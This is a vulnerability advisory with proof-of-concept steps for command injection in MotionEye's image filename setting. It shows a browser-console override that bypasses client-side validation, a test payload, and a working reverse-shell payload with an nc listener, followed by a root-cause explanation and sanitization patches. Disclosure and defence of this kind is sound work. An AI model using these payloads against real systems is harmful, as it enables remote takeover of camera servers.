
PoC steps for this vulnerability
During security testing of a MotionEye instance running in Docker, it was observed that client-side validation within the web UI can be bypassed. This allows arbitrary input to be submitted, including payloads that can trigger execution on the host container. The issue poses a risk of remote code execution (RCE) if exploited.
Affected Versions: All versions up to and including 0.43.1b4
Patch Status: No patch available yet. A workaround is given in this advisory.
project reference: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 mapped to container’s 8765admin / blank password (default)Run the following command to initiate the Docker image download and start the container
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
Result: MotionEye server 0.43.1b4

Once the Docker container is running, the container shell can be accessed using the following commands
docker exec -it motioneye /bin/bash
ls -la /tmp

Access web interface at:
http://127.0.0.1:9999
Login: admin (blank password)
Added sample RTSP network camera.

A malicious execution command was entered into the “Still Images” > “Image File Name” , but a client-side validation error was encountered.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Blocked by client-side validation.


The following script is responsible for the validation: /static/js/main.js?v=0.43.1b4, which references /static/js/ui.js?v=0.43.1b4 to implement the validation conditions.
File: /static/js/main.js?v=0.43.1b4 referencing /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
By overriding the configUiValid function in the browser console, all validation checks can be bypassed: Enter below snippet in console of the browser (F12 or Ctrl+Shift+I)
configUiValid = function() {
return true;
};

Now payload can be directly entered without any validation: set as below and Apply the settings
Settings:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Applied → File created with root permissions.

simple reverse shell production:
Listener:
nc -lvnp 4444

Injected Payload:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

Result: Remote shell obtained.
MotionEye is vulnerable because it takes user input from the web dashboard and writes it straight into the Motion config files without checking for dangerous characters. For example, the field image_file_name in the UI is sent to the backend (config.py) and saved into /etc/motioneye/camera-.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion process reads this config file. If the picture_filename field contains shell syntax like $(touch /tmp/test), Motion will run it as a real command instead of treating it as part of the filename.
Unsanitized input written into Motion config files:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload
File: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value

Apply sanitization:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
before:
after:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
Original:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
Replace with:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

Inside motion_camera_ui_to_dict(...):
Original:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
Replace with:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')